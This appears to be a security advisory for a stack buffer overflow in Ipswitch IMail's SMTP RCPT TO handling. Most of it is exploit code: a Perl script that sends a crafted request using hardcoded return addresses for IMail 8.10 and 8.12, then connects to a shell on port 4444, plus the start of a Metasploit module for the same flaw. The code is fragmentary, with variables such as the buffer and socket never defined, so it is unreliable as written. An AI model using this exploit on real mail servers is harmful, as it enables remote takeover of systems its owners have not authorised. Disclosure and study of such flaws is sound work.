"IMail Server is an easy to use mail server that protects you from spam and viruses". "Ipswitch Collaboration Suite includes an email server, secure instant messaging, anti-virus, anti-spam, shared calendering and other email and collaboration features." A vulnerability in the way Imail handles incoming RCPT TO requests allows remote attackers to overflow an internal buffer used by the program, which in turn can be used to cause the program to execute arbitrary code.
my $host = 10.0.0.2;
my $port = 25;
my $reply;
my $request;
my $happystack="\x81\xc4\xff\xef\xff\xff\x44";
foreach (@ARGV) {
$host = $1 if ($_=~/-h((.*)\.(.*)\.(.*)\.(.*))/);
$eip = $1 if ($_=~/-o(.*)/);
}
switch ($eip) {
case 1 { $eip="\xc4\x91\x01\x10" } # pop eax ret in SmtpDLL.dll for IMail 8.12
case 2 { $eip="\xc3\x88\x01\x10" } # pop eax ret in SmtpDLL.dll for IMail 8.10
}
$request = $buffer;
send $socket, $request, 0;
print "[+] Sent malicius request\n";
close $socket;
print " + connect on port 4444 of $host ...\n";
sleep(3);
system("telnet $host 4444");
exit;
Exploit (metasploit):
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::imail_smtp_rcpt_overflow;
use base "Msf::Exploit";
use strict;
use Pex::Text;
my $advanced = { };
'Description' => Pex::Text::Freeform(qq{
This module exploits a stack based buffer overflow in IMail 2006 and 8.x SMTP service.
If we send a long strings for RCPT TO command contained within the characters '@' and ':'
we can overwrite the eip register and exploit the vulnerable smpt service
}),
['Universal IMail 8.10',0x100188c3 ], # pop eax, ret in SmtpDLL.dll for IMail 8.10
['Universal IMail 8.12',0x100191c4 ], # pop eax, ret in SmtpDLL.dll for IMail 8.12
],
'DefaultTarget' => 0,
'Keys' => ['smtp'],
'DisclosureDate' => 'September 7 2006',
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
